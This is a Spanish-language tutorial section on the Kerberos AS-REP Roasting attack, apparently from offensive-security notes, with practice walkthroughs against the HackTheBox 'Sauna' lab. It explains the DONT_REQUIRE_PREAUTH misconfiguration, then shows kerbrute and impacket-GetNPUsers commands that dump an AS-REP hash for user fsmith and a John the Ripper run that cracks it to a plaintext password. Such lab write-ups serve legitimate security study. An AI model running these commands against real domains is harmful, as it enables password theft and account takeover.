6 - AS_REP_Roast

Este ataque se basa durante la solicitud KRB_AS_REQ y KRB_AS_REQ, cuyo mensaje se compone de los siguientes elementos:

Durante este primer intercambio del protocolo Kerberos el cliente debe autenticarse ante el controlador de dominio para obtener un Ticket Granting Ticket (TGT). En este proceso, parte de la respuesta enviada por el KDC (el paquete KRB_AS_REP) se cifra utilizando una clave derivada de la contraseña del usuario solicitante (User secret Key). Este mecanismo garantiza que sólo quien conoce la contraseña pueda descifrar la respuesta y obtener la clave de sesión. Por este motivo, generalmente el cliente debe incluir en su solicitud (KRB_AS_REQ) un autenticador cifrado con su propia clave secreta (User secret Key), que el controlador de dominio verifica antes de emitir una respuesta válida, de esta forma si un atacante quisiera explotar un AS-REP-Roasting fallaria. Esto se ilustraría de la siguiente manera:

Sin embargo, si una cuenta de usuario está configurada con la opción "DONT_REQUIRE_PREAUTH", el KDC no exigirá ese autenticador previo, y directamente enviará un KRB_AS_REP sin validación. Esto abre la puerta al ataque conocido como AS-REP Roasting: un atacante que conozca el nombre de una cuenta sin preautenticación puede solicitar un TGT para esa cuenta, y el KDC le responderá con un paquete cifrado con el hash derivado de la contraseña del usuario objetivo. El atacante puede entonces capturar ese paquete y realizar un ataque offline por fuerza bruta o diccionario para intentar recuperar la contraseña del usuario, sin necesidad de haber comprometido previamente ninguna cuenta en el dominio. Esta falla no es un error de Kerberos, sino una consecuencia de una configuración insegura que puede pasar desapercibida si no se auditan las cuentas con esta opción habilitada.

Ejemplo Practico 1

Para este escenario contamos con una lista de usuarios del Dominio (usernames.txt), y lo que vamos a hacer es implementar Kerbrute para verificar que cuentas requieren o no pre autenticación. En aquellas cuentas que tengan la flag DONT_REQ_PREAUTH kerbrute nos extraerá automáticamente parte del mensaje AS-REP que contiene la clave de sesión cifrada con la clave del usuario para crackearlo con JohnTheRipper

┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# kerbrute userenum --dc 10.10.10.175 --domain EGOTISTICAL-BANK.LOCAL usernames.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 05/10/25 - Ronnie Flathers @ropnop

2025/05/10 22:45:55 >  Using KDC(s):
2025/05/10 22:45:55 >   10.10.10.175:88

2025/05/10 22:45:58 >  [+] fsmith has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$fsmith@EGOTISTICAL-BANK.LOCAL:96ea6c54797815d4695046b5e7116bb4$756c02c1d3d8d772a28502f4f11ded2e01a91a4d1042944
29247fd4f960d8c696287ab66cf30bebd410658144a3d5a853d1ee8ec4aecdb2e2115bec04b725617e80aa8739cfa3b96a68bf16c7561f448a85e31289cb
5582d170058808b3c7b670dab56e7a5b4c281ba96f1bea62b0083a7d179d2a7d42b85fa32f87cb7107447577faa498ce52c2b370a4ab9597bc1b3b045cbc
50f71b9b91d256b3eab71d9470bf53062e7e5950617b1221d4c900ebe698f3dcddeffa0234bc80e600134b621dbc71c31d3b6fc148dac16aa174d074d9ac
0772dd936a46cc2ee06f58c3b27fbd1105c64f077a721b4a50be22d379f843bf01ac7601465e821abd99f3a9105ade5fbfebff7072b39879bd394c39b36b
fc7e955a50682
2025/05/10 22:45:58 >  [+] VALID USERNAME:       fsmith@EGOTISTICAL-BANK.LOCAL
2025/05/10 22:45:59 >  Done! Tested 161 usernames (1 valid) in 3.988 seconds

Este resultado nos esta indicando que:

  • El usuario fsmith existe en el dominio.

  • No tiene habilitada la pre autenticación Kerberos, lo cual permite al atacante recibir un KRB_AS_REP del KDC sin necesidad de autenticarse.

  • La herramienta descarga el AS-REP cifrado con la clave secreta de fsmith (derivada de su contraseña) y lo guarda en formato crackeable (como lo hace Hashcat).

Ejemplo Practico 2

Otra herramienta que podemos implementar para obtener ese paquete cifrado por el KDC con la clave del usuario fsmith es impacket-GetNPUsers, de la siguiente manera:

┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/fsmith -dc-ip 10.10.10.175 -no-pass -format john -outputfile hashes.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for fsmith
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and 
scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(d
atetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$fsmith@EGOTISTICAL-BANK.LOCAL:abef1afcb4c80fa252d3599016b8a0df$3e65c5d43fc4e7576e463b53606eef511bfab1d5a9242da83d2
34915df47c5c8fc4ed9f11dcc1a73b0e56566595306d72c67fc1ecc2933095bcdb20b6537774b3e6e3077379479b6fb6664ba07bde7161cc9cd34580857e6
39d0e3ac7d76fc9e4b62cd6ed554c19114dc0a1eca33e7b794387558982f99333a5bd0246016b63e24b8c1c828e45901403ec513e5a23211db491bfe9a922
d74dcc1c1737f31abafdcfea4ab9c61ffa07963b38ae83d25255d35e3d8920ad1748434769767ada6adca288d6ebcd1287c1c057385a38eed15acf6329862
39a49d73485567613a40b2c00ede3aa370b68f405a945e1d27503311b1d905826422fcc3853d2b480925b9
📌Parámetros
  • EGOTISTICAL-BANK.LOCAL/fsmith: dominio y nombre de usuario objetivo.

  • -dc-ip 10.10.10.175: IP del Domain Controller (donde está corriendo el KDC).

  • -no-pass: indica que no se usará contraseña para autenticarse (clave en este ataque, ya que la cuenta no requiere preautenticación).

  • -format john: genera el hash en formato compatible con John the Ripper (para romperlo offline).

  • -outputfile hashes.txt: guarda los hashes extraídos en ese archivo.

Este comando interactúa directamente con el Authentication Server del KDC, solicitando un KRB_AS_REP para fsmith. Como fsmith no requiere pre autenticación, el KDC entrega el paquete con el bloque cifrado que se puede crackear. El hash extraído representa ese bloque, y es el que romperemos con JohnTheRipper de la siguiente manera:

┌──(root㉿kali)-[/home/…/Documents/HTB/SAUNA/AD-Username-Generator]
└─# john -w=/usr/share/wordlists/rockyou.txt hashes.txt        
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$fsmith@EGOTISTICAL-BANK.LOCAL)     
1g 0:00:00:13 DONE (2025-05-10 23:01) 0.07518g/s 792406p/s 792406c/s 792406C/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Last updated